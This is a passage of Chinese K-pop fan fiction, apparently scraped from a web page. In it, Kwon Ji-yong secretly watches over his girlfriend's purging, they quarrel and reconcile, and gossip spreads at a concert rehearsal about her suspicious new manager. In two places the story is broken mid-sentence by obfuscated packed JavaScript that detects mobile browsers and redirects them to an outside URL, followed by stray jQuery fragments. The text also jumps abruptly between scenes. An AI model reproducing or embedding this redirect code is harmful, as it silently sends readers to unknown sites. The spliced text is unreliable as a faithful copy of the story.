权志龙发现这一切指向催吐的时候,第一反应就是,他的宝贝病了,需要去看医生,疏忽的愧疚和自责让他焦虑不安,看着睡着 的江留月,他手都不知道要放到哪里好。 会不会痛? 到底怎么做,她才会不痛? 【志龙xi的爱人,是个戒备心非常重,疑心也非常重的人,同时,还有强烈的自尊心和自毁倾向,看来志龙xi要特别小心照顾才 行。】 【万一发现了对方在做不好的事情,比如说伤害自己的话,千万不要当面拆穿,对方很可能会因为羞愧而产生更加过激的行为。 用引导的方式,慢慢的让她自己往好的方向去走,这需要耐心,还需要很多精力和时间,志龙xi可以吗?】 【当然了。】 权志龙记得自己是这样回答的。 【只要是关于这孩子,我没有做不到的事情。】 权志龙有意无意带回来的心理书籍,推送给江留月的各种有趣但具有引导性的科普视频,托模特前辈一起用餐的时候谈到的催吐 导致健康事业全部垮掉的案例,只要一起吃饭就一定会先考虑点粥这种好消化的软食…… 好像有用,又好像没有用。 权志龙的心一直在被反复折磨,只有一双眼睛,也只有一副耳朵和一双手,好像怎么都做不好的时候,就应该有很多双手,很多 副耳朵和很多双眼睛不是吗? 一双手、一双眼睛,和一副耳朵,是人的话。 据说,六双手、三双眼睛、三副耳朵,是神明的样子。 那么,很多双手,很多双眼睛,很多副耳朵呢? 我变成了什么呢? 塔伊。 我的,明亮的,柔软的,美丽的,月亮。 你在照着我的时候。 能看清楚,我的样子吗? “权志龙,你是疯了吗?!” 江留月终于发现了对方的心不在焉,她气急败坏:“你根本没在听啊!!你这坏人怎么回事啊!” 权志龙被她可爱到了。 自己都说他是坏人,坏人就是这样啊。 他于是理直气壮起来:“在听啊,我们塔伊骂的哥都在听呢,我,我腿都要跪断了。” 权志龙拍了拍自己的腿上被杨贤硕踢到的脚印: “很痛的。” 江留月被他的无耻惊呆了:“哪有你这样耍赖的,我都还没有骂你,你干嘛要这样!!赶紧给我起来,你这个疯子!” “说你原谅我了。” 权志龙从善如流的跪着,满脸都写着无赖,褐色的瞳孔注视着他的可爱的心软的漂亮小孩。 他知道,江留月已经在心疼了,所以在各种想法子让他赶紧起来。 “不然的话,我不起来了。” 这不就是耍赖吗?!! 江留月简直要气晕了,和之前让李顺英恶意拦截通告再欺骗自己相比,这次的权志龙被抓住的似乎真的只有过度的关注、保护和 过火的占有欲。 现在看来,这位哥认识不到错误,也不打算改,甚至赖皮到仗着她还要脸,直接在公司的公共空间跪下了。 这要是让人看到,江留月真是没脸见人了。 权志龙拿捏她可真是拿捏的死死地。 “要再抽两下吗?” 权志龙拉着她的手往自己脸上贴,声音黏糊糊的:“要轻轻地哦,打坏了的话,哥就没办法用这张脸给你挣钱了。” 不要脸!!!!!! 江留月猛然抽出自己的手:“滚滚滚,滚回去,我不要在这里丢人,我要回家!!!” 权志龙跪着,岿然不动。 他脸上是得意、狡黠和志在必得的笑容: “我不起来,你还没原谅我呢。” 江留月气的抓起自己的帽子抽他,声音都发抖:“你、你是什么啊权志龙,你这个疯子……” 权志龙顺势抓住了身体前倾的她,然后将人一把搂在怀里。 他看着瘦削,其实力气大的吓人,长胳膊一搂,江留月就像是被揪住脖颈的小兔崽一样只能扑腾,根本哪里就去不了了。 江留月已经生气到失去理智,开始骂骂咧咧,西八狗崽的混着中文,反正不是什么好话。 权志龙从善如流,只觉得如听仙乐耳暂明,他怀里搂着江留月,借着明亮的光,看得很清楚。 江留月嘴角的伤痕已经完全消失,看不出来了。 怀里的人也稍微重了一些,不再轻飘飘到让他焦虑了。 能做到这些。 都是因为他有很多双眼睛,很多副耳朵和很多双手。 做得好啊权志龙。 早就说了,他应该被夸奖,不是吗? 说他这个样子很吓人吗? 怪物吗? 不,不是的。 只是个可怜的男人罢了。 “回家吧。” “回家之后,我会好好认错的。” 权志龙为怀里的人重新梳理好她的头发,他手很巧,两三下编出一个漂亮的盘发,然后小心的将头发收入卫衣帽子里。 银白色的头发缠绕在手指上的感觉,有些像是月光流淌在手心那样。 江留月无力挣扎,她气呼呼的,脸颊都鼓起来了,这种生气是气不久的,哄一下就好了。 权志龙莫名心情很好,于是笑了。 不是可怜的男人。 是幸福的男人。 我很幸福。 塔伊,当月亮照在我的身上的时候,我知道你能看到我的样子。 没关系,宝贝,不要害怕。 哥不会吓到你的。 —————— 你想看到什么样子。 我就是什么样子。 【你就是令我疯狂的圆月 I love you baby I’m not a monster】 33.缄默之刃 33.缄默之刃 江留月以前没有发现权志龙是那么赖皮的一个人。 他们之前也因为感情的事情争吵过,也一度闹到过要分手的程度,那是11年中旬,当时的权志龙要暴躁、锋利的多,两个人吵架起来基本是他脸色冰冷的嘴炮输出,气得江留月眼泪哗哗流,分手分得干脆利落。 现在想起来,那竟然是两个人对待感情最不拖泥带水的一次。 也许是11年那次事故给了他太大的阴影,也许是因为那次坠落中江留月狂奔回来紧紧地抱住了他,从那之后,权志龙变得脆弱多 了,也变得爱流泪,爱卖惨,越来越不像个“哥哥”样,反而要江留月哄着他多一些。 如今,这位脆弱的琉璃男子又点亮了自己的新技能,那就是死皮赖脸。 任凭江留月怎么跳脚骂他,怎么动手,他都不回嘴也不闪躲,江留月都打累了,他就哼哼唧唧凑过来抱着人一顿亲一顿蹭。 江留月实在是没脾气了,她好似一拳打在棉花上,闹到最后只想洗个澡好好睡一觉。 有这个精神头,她不如明天用在和东永裴的实地彩排上。 “别跟过来!!!” 见权志龙厚着脸皮往浴室里挤,江留月抓起毛巾就砸到了他脸上。 热腾腾的水淋在身上,江留月才生出了一些实感。 她有些懊悔自己的高高提起轻轻放下,但权志龙现在这滑不溜手的样子,实在是想踢都没处下脚。 ……反正兵役之前又不能分手,这样相处下来,大家都会比较好过。 反正兵役之后就会分手,已经只有很短的时间了,所以,好好相处也可以吧。 江留月不想过度去想这些事情,她自己很快调整好了状态,决定不和权志龙在这种细节上过度纠缠。 只是不知道为什么,她心里头就是有一种隐隐的不安。 从浴室出来,权志龙已经换好了睡衣坐在床上吹头发了,见她出来,急急忙忙的将电吹风也给关了,眨着眼满脸讨好笑容的对着 她张开手臂。 ……不是错觉啊。 这个哥,现在怎么变得那么爱撒娇啊。 江留月努力回忆原本的2014年里权志龙是不是这个性格,却发现那曾经的记忆早就模糊掉了。 她记忆里的权志龙,只剩下一些破碎的,令人心痛也令人怀念的剪影。 “塔伊啊,在想什么呢。” 权志龙用梳子为江留月的银色头发打上特制的精油,见她低着头垂着睫毛不说话,但小嘴只是微微嘟着没有紧抿着,应该心情还 行,于是率先抛出正常相处的信号。 这样温和的语气,就代表两个人之间的争吵也好,撒泼耍赖也好,都翻篇了。 江留月瞥了他一眼。 卧室的灯光很暖,权志龙整个人都看起来干净清爽,优越的鼻梁和眉骨让他的脸庞上有着锋利的剪影,但他微微翘着的嘴唇又柔 化了整体的氛围,降低了整体的攻击性,让他看起来多了几分柔和。 陌生又熟悉的一张脸。 “你的眉毛也改变了呢。” 江留月没头没脑的说道。 权志龙习惯了她的神来一笔,自然的回答道:“明天要彩排嘛,今天稍微处理了一下。” 江留月终于反应过来,为什么眼前的权志龙给她如此熟悉的感觉了。 因为,也许是为了搭配新的造型,今天的权志龙的眉毛修的比平时的剑眉细了不少,柔化了不少眉骨部分的线条。 他看起来,更像是2023年的权志龙的样子。 权志龙的手正在抚摸江留月的头发,他修长的手指拢着她的头皮轻轻地揉了揉,然后慢慢往后顺,另一只手拿着梳子很认真的寻 找着有没有遗漏的地方。 他的注意力这会儿被她的头发吸引了,所以没有注意到,江留月在他说完话之后,就开始长久而沉默的注视着他。 直到权志龙大功告成的将精油和梳子都放回床头柜,江留月才又没头没脑的问了一句: “哥,普通的兄妹会这样做吗?” “什么?” 权志龙一头雾水。 “我说,如果是兄妹,会这样做吗?” 江留月指了指床头的梳子和精油。 “……” 权志龙难得哽了一下,但还是顺着她的话,认真的思考了一下才回答:“普通……应该不会做到这种程度,但是吹个头发,抹抹 精油什么的……关系特别好的话,也许会做吧。” 江留月若有所思的看着他。 权志龙忽然笑了,他凑上去亲了一下她的嘴巴。 “但是,他们绝对不会这样做。” 他又亲了一下江留月: “这是爱人才会做的事情。” “塔伊啊,你知道,我不只是你的哥哥吧。” 他用温柔而沙哑的声音轻声道,然后又亲了一下她有些凉凉的鼻头。 江留月跪坐在床铺上,银色的头发披散下来,她用一种很认真的眼神看着权志龙,似乎在努力思考这件事情,朦胧的暖光下,她漂亮得有点不像是真人。 权志龙因此生出更多心思,将她整个人抱进怀里。 江留月很不喜欢在人前的肢体接触,这让他在私下里的相处时间里格外渴求与她的相处,非常想要拥抱、亲吻、靠在一起,想要 抚摸她的头发、耳垂和肩膀。 江留月被抱住,整个人都依偎进了权志龙的怀抱,宽阔而瘦削的胸膛上,她感到权志龙的心脏在咚咚跳,怀里干燥而温暖。 她伸出手搂住了权志龙的脖子,黏糊糊的叫了一声: “哥哥。” 权志龙嗤笑了一下。 他伸出骨节分明的手掐住了她的下巴将她想要埋在他颈窝的脸蛋给揪过来,然后狠狠地亲吻她。 “哥哥可不会这样亲你。” “叫声‘亲爱的’来听听看。” 鉴于权志龙今天死皮赖脸的表现,他终于在晚上得到了报应。 江留月不仅没叫,反而将他一脚踹下了床。 权志龙不可置信,权志龙委屈吧啦,权志龙试图反抗。 江留月从一大堆蓬松柔软的枕头里冒出一个银色的小脑瓜。 “哥去睡客房,还是我去睡?” 权志龙夹着嗓子:“我们就不能一起睡吗?” 江留月一头扎进枕头,只露出一条细白的手臂,对着他摆了摆手,为他宣判最后的结局。 权志龙为自己捞到了最后的福利:他抓住那只手狠狠亲了一口,然后在江留月暴怒的“你是变态吗”的叫喊中赶紧溜了。 这本是一个各管各的夜晚。 但奈何,第二天两个赶去了演唱会会场的人却都迎来了微妙的眼神。 原因无他。 两个人都顶着黑眼圈和一脸倦色。 江留月低着头打着哈欠,权志龙则一头低气压起床气,两边看起来都是乌云密布,众人说话的声音都小了一些。 “天啊,你这个眼圈都发青了……” 阿苍一边叹气一边拿出粉饼想要为她遮一遮。 江留月摆手制止:“算了……” “什么算了,你知道今天有纪录片摄像机吧,只要是出镜,你都给我漂漂亮亮的!”阿苍急得方言都要出来了,她满怀妒忌的看 着江留月头顶那一看就是出自大牌的画师帽:“这是权志龙给你搭配的吧。” “……怎么了,不合适吗?” 江留月的银发依然处于保密阶段,因此权志龙早上为她盘了头发之后用画师帽做为装扮。 “没有,很好看,头发不会也是……”在得到江留月无精打采的点头之后,阿苍露出了恼恨的表情。 妈的,又让这个男人装到了!! 阿苍很想研究一下权志龙这个头发到底是怎么编的,于是一直围着江留月戳戳戳,江留月并不知道她与权志龙之间的战争,因此 只是打着哈欠任凭她东摸西摸的。 “……听说你们俩昨天吵架了,这就和好了?” 阿苍悄悄八卦。 “凑活过呗,还能离咋地……” 江留月昨天一整个晚上都没睡好,刚开始是自己睡不着,后来是睡着了尽是梦一些令人心碎难受的场景,中途醒了一次就再也睡 不着了。 她在这里难受,权志龙那边也不好过。 此时正好是他们在台上彩排,聚光灯一照,权志龙的太阳穴就突突直跳,脑子一阵抽疼,让他的表情都有些不受管理。 “怎么了哥,你生病了?” 大声正好和他脸对脸,于是硬着头皮前来关心。 其实权志龙和江留月昨天那一场已经成为全公司的八卦中心了,毕竟李顺英那个家伙闹得事儿太大,打架的见证人太多,而且当 天晚上就出了公告将他和南思风都停职处理了,今天江留月和权志龙能正常出席彩排已经超乎大多人意料了。 “没有,就是头痛。” 权志龙揉着自己的太阳穴,表情不虞:“做了一个……很奇怪的梦。” 他烦躁的用手在自己面前挥了挥: “真的,又奇怪又令人烦闷。” “梦见什么了?” 大声忍不住好奇。 梦见什么了? 权志龙的动作也顿了顿。 那是一个很难形容的梦,支离破碎、复杂、混乱、没有逻辑,还很痛苦。 噩梦什么的也做过,但很少有什么梦能那么影响到他白天的情绪,甚至起床的时候,暴躁与想要破坏什么的愤怒感达到了顶峰。 客房的窗帘拉得很紧,一丝光也透不出来,因为过度强烈的头痛与心脏的沉闷从梦里面被揪出来的权志龙有一种被投入深水池的窒息感。 他思绪混乱,为梦里的场景感到匪夷所思,但梦境里的一切信息都在飞速的消逝,他几乎抓不住什么能记得住的东西。 他很焦躁,试图记住什么,总感觉梦里面的信息非常重要。 时值春日,他又身处恒温恒湿的房间,竟然有一种透不过气的寒意。 “……好像是下雪了。” 权志龙自言自语,喉咙沙哑异常: “雪……” 客房的门忽然被叩响,轻轻两声之后是门把手转动的声音,江留月叼着牙刷一脸倦色的探出了头: “哥,要起来了,彩排会迟到的。” 她的推门让客厅的光线透了进来。 权志龙这才找回了神智一般。 “……我是疯了吗?什么下雪,现在都已经是春天了。” 他心绪浮躁,直到走到洗漱间抱着江留月蹭了好一会儿才觉得自己舒服了一些,但总有一些什么东西萦绕不去。 “哥?志龙哥?哥……?” 见他久久不语,姜大声忍不住在他面前挥了挥手:“哥,你没事吗?是不是太累了?要不要去休息一下?” 权志龙摇头,他喉咙很不舒服,于是走到延展台那边捞了一瓶水想要喝一口润润 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“只有这里没人,我怎么办,”崔胜铉完全不觉得自己错了:“呀,你这个疯丫头,你怎么回事,怎么能把自己的出轨对象搞到 公司里来!” “……?什么玩意儿?” 江留月表示自己跟不上:“你在说什么啊哥!” “那个出轨对象,就是在美术馆对你动手动脚的狗崽子,为什么会变成你的经纪人,你这丫头疯了吗,我有没有警告过你,只要 一秒,只要一眼,志龙就能看出来你们之间的那些猫腻然后把你们都杀了!” 崔胜铉的语速极快,连珠炮一样的单词加上他冲击性极强的牛眼与咋咋呼呼要抽他的手,江留月很是费了几秒钟才反应过来。 她蒙了,什么,金优变成她经纪人了? 不是,这个人怎么回事啊!!为什么昨天才跟她说了会离开,今天就变成这样啊! 不是,不对,崔胜铉又是怎么回事啊! “哥,我都要说了一百遍了,那不是我的出轨对象……我没有出轨。” 江留月试图掰回崔胜铉的重点。 “怎么不算,你们不是瞒着志龙交往了吗?你知道志龙知道了会怎么样吗?嗯?”崔胜铉一个脑崩弹到江留月脑袋瓜上:“会把 你们都杀了。” “啊不是,什么叫做……不是……”江留月痛得赶紧捂住脑门,正试图捋顺逻辑,却冷不丁看到,厕所隔间地板上,有人的影子 晃。 “……” 她真是想死的心都有了。 崔胜铉也发现了她表情不对,他脸色陡变,然后立刻爆冲过去:“谁……” 门开了。 露出一个面如死灰的人。 江留月看了一眼,绝望的闭上了眼。 崔胜铉嗫嚅着,也哑巴了。 里面的那个人脸色则看起来比他们俩的都差,近乎惨白,没有一丝血色,嘴唇还在一个劲儿发抖,一只手紧紧地攥着自己手里的十字架。 对于江留月来说,唯一的好消息是,这位哥应该在他们闯进来的时候已经完事儿了,裤子穿的很好。 “……首先,请听我解释。” 江留月干巴巴的说道。 她张开嘴,又近乎绝望的闭上了。 然后,她深吸一口气。 “永裴哥,你可以什么都不知道,什么都不听,但是,就记住一件事情好不好,我没有出轨。” 江留月咽了口唾沫,尽量让自己看起来诚恳,可信: “真的,哥。” 崔胜铉也意识到了事情的不妙,这事儿得怪他把江留月拖进男厕所的时候只顾得看小便池没人,没想过检查隔间。 痛定思痛,承担责任,崔胜铉的一双大眼睛眨得厉害,看天看地就是不敢看东永裴,磕磕巴巴的说:“我、我可以作证。” 江留月:“……” 要不然您先别说话呢。 不说话的人只有东永裴。 东永裴不语,只是一味攥紧十字架。 是魔鬼的迷惑。 是魔鬼的幻象。 他什么都不知道,什么都没听见,也不应该进入男厕所。 区区凡人的身体需求,竟然将他毒害至此!! 退!退!退! 34.疑云重重 34.疑云重重 “事情就是这样的。” 明明只是几分钟的交谈,江留月就像是开了一整场演唱会一样疲惫。 她坐在紧急通道的楼梯上,用自己真诚的双眼看着面色凝重的东永裴,说完这句话之后,摊了摊手。 阿sir,她确实没有什么能交代的了。 “……你们什么时候交往过。” 令人头痛的是,东永裴显然比崔胜铉更冷静,因此能看到更多的细节。 他不像是崔胜铉那样沉湎在情绪的冲击里,反而是开始追问细节。 江留月有些语塞。 她总不能说,我和这个男人在2017年交往过。 听起来就像是被抓到出轨的人在胡言乱语。 她选择了一个折中的表达:“在和志龙哥分手之后,短暂的交往了。” “2011年。” 东永裴用一种探询的语气说道:“是吧。” 江留月点了点头,然后蔫头耷脑的坐在了台阶上,她的额头再次开始抽痛,胸口涌出闷闷的不适感。 ……又来了,这种奇怪的不适感。 好像是溺水的这种窒息感,最近似乎变得频繁了。 等到家族演唱会结束之后去医院看一下吧,尽管她并不记得2014年自己曾经生过什么大病,但当初她也没有这样跌宕起伏的生活 过呀。 东永裴嘴张了一下,看到江留月这没什么精神的样子,又感到了不忍。 疑点还有很多,但他确实没办法在这里审问江留月。 “先去彩排吧,等彩排结束之后,我们好好谈一下,在这之前,大家都把嘴巴闭紧什么都不要说。” 这样拖下去也不是办法,东永裴只能将此事延后再议:“塔伊啊,那个人突然变成经纪人这件事情,你确实不知情,是吧。” “不是哥哥不相信你。”见江留月辩解起来都有气无力的样子,东永裴急忙安抚道:“我当然相信你,塔伊啊,只是确认一下, 你这孩子……如果碰到什么难处要跟哥哥们讲,我害怕你因为想要自己承担起来而不肯说实话。” 他伸手拍了拍江留月的肩膀。 “哥哥们都在呢,别怕,塔伊啊。” 江留月扁扁嘴,嗯了一声,低下头避开东永裴关切的眼神,她的耳朵里传来东永裴反复叮嘱崔胜铉不要露馅的话语,让她有一些 不真实感。 三个人探头看了看走廊没什么人,才一起结伴从应急楼梯走出去,东永裴不擅长应对这样的突发情况,他很努力的想着办法: “你待会儿就尽量跟我们待在一起,人多的地方那个家伙不会敢来做什么的。” 江留月一边点头一边却有点忍不住想笑,她觉得感动的同时,又觉得哥哥们这样的担心很可爱。 这样一边说话一边往前走,江留月和东永裴、崔胜铉一起来到了准备室,因为后天才是正式的演唱会,个人的准备室还没有完全 整理出来,因此所有人都是在大横厅进行休息整理的。 她一走进横厅,就看到了金优,这家伙一米八几的身高相当有优势,在普遍身高不高的YG更是显得有些鹤立鸡群。 金优正在和工作人员交流,手里拿着一个mini平板,表情正经严肃。 江留月对他的工作能力没有任何质疑,金优跟着她开了不知道多少演唱会,熟悉每个流程,这种程度对他来说是非常轻松容易 的。 就在这时候,阿苍抱着衣服跑向了金优,然后向他展示衣服的细节。 江留月离得不远,能听见他们的交谈,阿苍一脸的庆幸和感激,原来是金优刚刚在检查江留月的演出服的时候,在腰侧的位置检 查出了定位大头针。 这还好是提前发现了,不然到时候江留月穿上了因为大头针扎到身体里那可就完全是事故级别了。 尽管江留月大概率会原谅阿苍,但对于在排外的韩国娱乐圈谋生的阿苍来说,这绝对是个事业污点,更有可能被YG本就有的服装 师们借此机会挤进来抢夺资源。 江留月的服装师可是个大肥缺,时不时都有服装师示好或借着工作机会参与进来露脸,若不是江留月想在身边留个中国人,阿苍 的位置早就坐不稳了。 因此,阿苍对金优的感激就格外真诚,而江留月的心里头,却滑走了一些微妙的想法。 ……应该是自己想多了吧。 江留月这么想,人却一直待在东永裴身旁,有一搭没一搭的和坐在旁边化妆的bom聊上两句。 东永裴说着让崔胜铉藏藏好别露馅,自己却一直在频繁的转头去看金优,让江留月有些忍俊不禁,于是借着去看他脏辫造型的时 候悄悄耳语: “永裴哥,你太明显了。” 她又安慰道: “没关系的,就算是刺客或者商业间谍,他也要埋伏很久才能动手,我现在很安全。” 这样打趣的安慰总算是让东永裴那脆弱敏感的神经安稳一些了。 为了让东永裴更安稳一些,江留月索性拖了一把椅子就和东永裴背靠背坐在了一块,他们俩本就有合作舞台,最近更是频发亲密 合照加社交媒体互动,大家倒也不觉得奇怪,还要打趣他们俩像是亲兄妹一样感情好了。 “我们本来就是亲兄妹。” 江留月笑嘻嘻的说道。 “那我是什么,永裴是亲哥,我是什么。” 崔胜铉不甘示弱。 “你是继母,哥。” 江留月微微一笑,用一句话成功让众人哄堂大笑,崔胜铉更是直接□□红温了,乌拉哇啦的说要揍她。 江留月赶紧躲在东永裴身后,看着崔胜铉无能狂怒。 欢声笑语之间,她感觉到目光落在自己的身上。 不用回头,她也知道,是金优在看着她。 但,她并不打算理会。 金优既然能跑来当她的经纪人,自然不会当下就对她做出什么。老实说,江留月也觉得很费解,因为在她的记忆里,金优是个脾 气情绪都稳定得不像个人的卡皮巴拉,当初在一起也是因为要处理找上门来的权志龙,而分手则是因为江留月确实没办法做到和 他像是情侣一样的相处。 真奇怪,明明平时相处是那样的轻松自如,她也一直将金优视为自己人,甚至和他分享了许多权志龙都不知道的秘密。 但当这个人的角色成为自己的恋人之后,江留月反而不由自主的抵触和抗拒着和他的单独相处,更不要说接触。 ……不是恶心,也不是别的什么,江留月努力劝说自己接受过金优,但她的确用了好几个月也没能做到。 原本信任熟悉的朋友成为了尴尬的恋人,江留月很懊悔自己当时一时冲动答应和金优交往的事情。 话说回来…… 金优好像也没有正式告白过。 这个人真的喜欢自己吗? 好难判断又好难理解的一个人。 江留月似乎在这一刻才开始审视金优这个人,从他出现开始,这个人就离奇的仿佛是天降一般。 几乎和她一模一样的原生家庭,对父母报以的情绪和心理状态也完全相似,对于江留月来说,就像是找到了世界上的另一个自己一样。 不管她对金优表达什么,金优都能准确的get到她的想法,她那些激进的情绪和想法,金优也是百分之百的理解和支持。 长久以来孤寂的心灵终于找到了共鸣,就像是那头独自流浪了二十多年的鲸鱼Alice一样,她陡然之间听到了和自己频率一致的 赫兹。 生活在异国的孤独,表面幸福实则破碎的家庭,恋人令人窒息的控制欲,不被理解和知晓的想法和情绪,蠢蠢欲动的,想要“叛 逃”的心,以及对故国的思念和渴望…… 压抑了十几年的情绪忽然找到了井喷的出口,江留月那段时间简直对和金优聊天这件事情感到“上瘾”。 想也知道,两个人从互加聊天方式到变得无话不谈,速度快得惊人。 也许就是太快了,金优又从未带来过任何负面的情绪与价值,所以江留月从未认真细究过这一切。 ……不是。 现在想想,认真想想的话。 这个人的存在,好奇怪啊。 就像是为了剧情的设定,为了推动她的人生,为了改变她的处境,突然跳出来的救世主,也像是小说里描写到的所谓的系统或者NPC一般。 这样改变了她人生的男人,江留月却好似从未真正了解过他。 江留月的脑子里各种想法在飞速掠过,但她并没有让自己的注意力都放在金优的身上。 迫不及待要挤到YG里面当经纪人,昨天才划清界限今天又要搭上来,着急的人不是她,因此,现在是她手里握着主动权。 可一旦投入关注度,先手优势就会被金优抓住。 不过还好。 江留月的注意力现在都被强行集中在了正挂在她身上的这个人身上。 “塔伊啊,我们塔伊啊,我们塔伊怎么那么香香的软软的~” 敏智撒娇的抱着她蹭着:“啊~~~塔伊啊~~塔伊~~” 她比江留月要小一岁,但江留月不喜欢韩国的前后辈制度,因此也允许敏智直接叫她的名字,比起Alice,敏智更喜欢和哥哥们 一样叫她塔伊。 敏智非常喜欢江留月,和2NE1的家人一样的成员那不一样,她在江留月身上总是感觉到一种怜爱之情,明明对方比自己年龄还要 大,却总忍不住将自己放在照顾者的位置上。 “你长了点肉所以更软了,呜呜呜~~更好抱了~~呜呜呜~” 敏智一个没忍住,将脸整个埋入江留月的怀里。 “软吗?” Bom在旁边语不惊人死不休。 敏智动作比脑子快的先摇了摇头,然后说道:“没有欧尼的软。” 江留月下意识的瞟了一眼bom那高耸的胸部,露出自愧不如的表情,不到两秒就绷不住的和敏智在bom的暴怒中笑成一团。 那边正在化妆的CL和山达拉不知道发生了什么,着急的一个劲儿问咋了咋了为什么有趣的事情不带上她们。 此话题bb这边的男士们就不好参与了,一个个面向镜子疯狂找别的话题,完全不敢参与,甚至还要假装听不见。 Bom怒气冲冲:“这两个都是流氓!” 江留月一脸荒谬:“欧尼,刚刚是欧尼先开头的!你问敏智软不软的!” 敏智:“那是相当软的。” 江留月:“……?” Bom:“我不信。” 她伸出手,江留月一个灵活走位,开始四处逃窜,大横厅候机的人多,座位挨着座位,各种设备的线路都缠绕在一起,她才窜了 两下就脚步踉跄撞到了一个打光灯,差点摔倒。 金优本就一直留意到这边,眼见她要摔了,急忙快步冲了过来。 还不等他赶到,坐在旁边化妆的Tablo也顾不得脸上的化妆刷,直接一个弹射起步,左手抓住摇摇欲坠的打光灯,右手扯住险些 摔倒的江留月。 身后立刻赶来的bom惊魂未定的从后面抱着江留月,问着她要不要紧。 江留月赶紧对Tablo道谢,然后说着没关系。 “吓死我了,你没事就好。” Bom一边说一边在江留月胸口拍了拍,然后露出了满意的笑容。 江留月:“……” 她深吸一口气,暂且忍下,对着Tablo道谢又道歉,Tablo倒是不以为意,还笑嘻嘻的说道:“我回去之后要跟惠贞讲,说我今天 救了你一命,她应该最近会对我好点。” 江留月不好意思的吐了吐舌头,又开始一一回应大横厅里此起彼伏的关怀声,很快有工作人员跑过来将设备挪开腾出一条道路, 搬走灯的姐姐没好气的拍了一下江留月的屁股:“Alice小心点呀,受伤了怎么办?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14939114|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江留月笑嘻嘻的撒娇,没人能对这张漂亮可爱的小脸生气,气氛再次变得其乐融融起来。 从头到尾,并没有人注意到金优刚才的慌乱脚步和脸上还来不及收回去的表情。 金优抿了抿嘴,想要往这边走,却又不知道为何,怎么都迈不开步子。 他复杂的表情在此刻被江留月一眼扫到。 两个人视线交汇,然后江留月的目光又很快跳开,就像是看到了一个脸生的工作人员那样,毫不在意的挪开了。 金优很快转身离去,但他的步伐明显有些急促,引得周围的人侧目,因为他的陌生,还引发了小范围的讨论。 “那是谁呀。” 山达拉好奇的看过去,她和CL是最晚到的,因此才化妆完毕,自然错过了金优之前到处认脸的事情。 “不是Alice的新经纪人吗?”Bom在喝冰美式,她炸了眨眼睛,忽然觉得有些奇怪:“呀,这个没礼貌的家伙是不是没有过来跟 Alice打招呼啊。” Bom有些生气,因为经纪人第一个要打招呼认识的对象,本来应该是江留月才对。 如果之间是江留月没来,那刚江留月人就在这,这个人也不来,那就是单纯没礼貌。 江留月心知肚明,那是因为金优默认两个人十分熟悉,所以自然而然的先开展工作去了,又或者,他可能也担心来问候的时候, 江留月会质问他,所以想要先避开这一切。 哪种答案,她不得而知,但现在,她最好先不要在任何人面前表达她对金优的看法。 她的第六感正在滴滴作响,告诉她,金优的行为没有那么简单。 “……怎么没礼貌的家伙,怎么会成为Alice的经纪人的?白面鬼(南思风非常爱打扮经常个自己的脸抹得雪白所以bom起了个外 号给他)都比他好一些。”Bom吐槽道。 “我知道!” 敏智嗖的举起了手:“我今天是最早到的我知道!而且我今天在咖啡厅碰到了安室长,安室长还告诉了我内幕!” 江留月这个时候当然闭紧嘴巴在听,她的余光瞥见东永裴和崔胜铉的椅子不由自主的都朝着这边倾斜。 ……让这两个哥守住秘密,简直是天方夜谭。 江留月眼前一黑。 “这个人据说是地方上来的某个产业的公子哥,因为和家里面的人闹崩了所以在首尔没有工作,但是呢,因为原来家里很有钱,所以和社长和熟悉,昨天和社长一起打高尔夫的时候说了这件事情,社长就把他请过来当经纪人,因为这个人人脉很广也很有能 力,社长还挺高兴的呢。” ……闹崩了? 江留月的脑海里浮现金优昨天身上的定制西装,这种优渥的经济体现可不像是闹崩了,而且,杨贤硕居然还相信? 这件事情里,最不可思议的部分就是,在昨天那样的争执之后,杨贤硕居然如此草率的拍板了她的经纪人人选。 不管怎么说……安排这样一个年轻的,模样还算过得去,家境优渥的男人到她身边来当经纪人,总不能说是杨贤硕要给权志龙一 点难受日子过吧。 这还不如让她相信,是杨贤硕这个恶婆婆找了个男人来勾引她,好让她赶紧离开他的好大儿。 “就这?这怎么行,这人看着不像个好人,我们那么漂亮的软噗噗(Bom给江留月起的外号)如果被欺负了怎么办?” Bom闻言对金优印象更差了。 敏智说累了,抓起咖啡也喝了一大口,用手指在空中晃了晃,表示此事另有隐情:“放心,社长真的很放心。” 她招呼江留月和bom凑过来,才在她们耳边说道: “因为……这个人跟家里闹崩的原因是……” 江留月觉得耳朵痒痒,但还是忍住了。 就听到敏智说: “这个人是个GAY。” 江留月:“……” Bom:“@#¥@#¥@#¥@#” “咚!!!!!!” 江留月身后传来好大的声响,江留月回头一看,东永裴和崔胜铉的椅子都倒在地上了,两个人的脸色都很难看,落在她身上,又 是一阵复杂,似乎还有一些不忍和心痛。 江留月:“……” 她决定挣扎一下:“你……你这是什么小道消息,听错了吧。” 敏智很坚决:“不是啊,安室长说这个人昨天亲口说的,在打完高尔夫一起喝酒的时候,说当时社长脸都绿了,但是,社长想, 这正好啊,这个人是个为了和同性在一起和家族闹掰的人呢,说明是个坚定的爱着男人的人,放在Alice身边才正好啊。” 江留月:“……” 杨贤硕除了没有良心之外,还没有边界感,更没有谱。 但……更离谱的难道不是金优吗?! 这家伙……为了能来当经纪人,真是什么都敢说什么都敢干啊。 江留月只觉得太阳穴抽痛,一回头,就看到东永裴和崔胜铉都用一言难尽的表情看着他。 “你这孩子。” 东永裴看起来心痛得不行。 “为什么总是碰到奇怪的人。” 他摸了摸江留月的小帽子,心情沉重的建议道:“……要不然跟哥去教会做做礼拜啊,哥经常去的教会有个很厉害的牧师,他的 圣水很厉害,能祛掉一些奇怪的东西。” 